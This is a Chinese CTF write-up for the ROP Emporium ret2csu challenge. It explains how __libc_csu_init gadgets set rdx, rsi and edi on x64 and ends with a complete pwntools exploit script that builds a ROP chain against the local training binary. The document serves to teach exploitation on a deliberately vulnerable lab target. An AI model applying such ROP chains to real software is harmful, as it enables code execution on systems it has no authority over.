CTF|ropemporium ret2csu题型

CTF|ropemporium ret2csu题型

题目来源:https://ropemporium.com/challenge/ret2csu.html

这个题只能下载64位文件
CTF|ropemporium ret2csu题型_第1张图片

IDA查看后发现gets存在栈溢出,题目条件是ret2win的第三个函数必须是“0xdeadcafebabebeef”
ret2win函数里面有system
CTF|ropemporium ret2csu题型_第2张图片
CTF|ropemporium ret2csu题型_第3张图片

x86 与 x64 的区别:
x86 都是保存在栈上面的, 而 x64 中的前六个参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 中,如果还有更多的参数的话才会保存在栈上

所以按照正常思路我们要找类似“pop|edx”“mov|edx”这样的gadget来个edx寄存器赋值
CTF|ropemporium ret2csu题型_第4张图片
然后ROPgadget查找后发现没有

对于这种情况 CTFwiki上

题型特点

  1. 当在x64程序中找不到rdx、rsi、edi时,再使用此方法
  2. 确定gadget1、gadget2的地址及顺序

## ret2__libc_csu_init原理

在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的gadgets。 这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。我们先来看一下这个函数(当然,不同版本的这个函数有一定的区别)

我们来看看这个函数
CTF|ropemporium ret2csu题型_第5张图片
在这个函数里面有两个和参数有关的gadget
通过r15 r14 r13 这三个寄存器来控制rdx rsi rdi 的值

在这些寄存器中,我们主要关注的是r12,rdx,rsi,edi寄存器,他们分别保存着将要调用函数的指针的地址、第三个参数、第二个参数和第一个参数。而rbx和rbp必须的需要将它们的值置为0和1。因为,在gadget2中,我们call了 [r12+rbx8] ,将rbx置为0即 [r12+rbx*8] == [r12],方便我们传参。而设置rbp为1是因为 add rbx, 1; cmp rbx, rbp; jnz xxxxxx 。由于我们通常使rbx=0,从而使r12+rbx8 = r12,所以call指令结束后rbx必然会变成1。若此时rbp != 1,jnz会再次进行call,从而可能引起段错误。

需要注意的是
call指令将会转移至该指针中所保存的地址的位置,而我使用elf.symbols[“ret2win”]得到的直接是ret2win函数的真实地址,从而导致经过指针运算符运算后出现了一个不是地址的地址。换句话说,如果我这里要调用的是一个已调用过的libc函数,那我可以直接给r12寄存器传elf.got[“xxx”],从而即可实现调用该函数。

我们可以通过绕过call,通过后面的retn跳转至ret2win执行。可以用init_array_start函数的指针来跳过call。init_array_start函数是ELF程序的一个初始化函数,运行它不会对栈空间造成影响,可以说是用于跳过call指令的最佳选择。

exp:

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context.arch = 'amd64'
cn = process('./ret2csu')
 
init_add = 0x0600E10
rop1_add = 0x0400896 #add rsp, 8 ; pop rbx ; pop rbp ; r12 r13 r14 r15 ret
rop2_add = 0x0400880 #mov rdx, r15 ; mov rsi, r14 ; mov edi, r13d ; call qword ptr [r12+rbx*8]
# z('b*0x04006E2\nc')
win_add = 0x04007B1
cn.recvuntil('beef')

payload = 'A'*0x20
payload += p64(0) # rbp
payload += p64(rop1_add) #ret
payload += p64(0) #padding
payload += p64(0) #rbx
payload += p64(1) #rbp
payload += p64(init_add) #r12
payload += p64(0x0601060) #r13
payload += p64(0) #r14
payload += p64(0xdeadcafebabebeef) #r15
payload += p64(rop2_add) #ret
payload += p64(0) #padding
payload += p64(0) #rbx
payload += p64(0) #rbp
payload += p64(0) #r12
payload += p64(0) #r13
payload += p64(0) #r14
payload += p64(0) #r15
payload += p64(win_add) #ret

cn.sendline(payload)

cn.interactive()

你可能感兴趣的:(CTF|ropemporium ret2csu题型)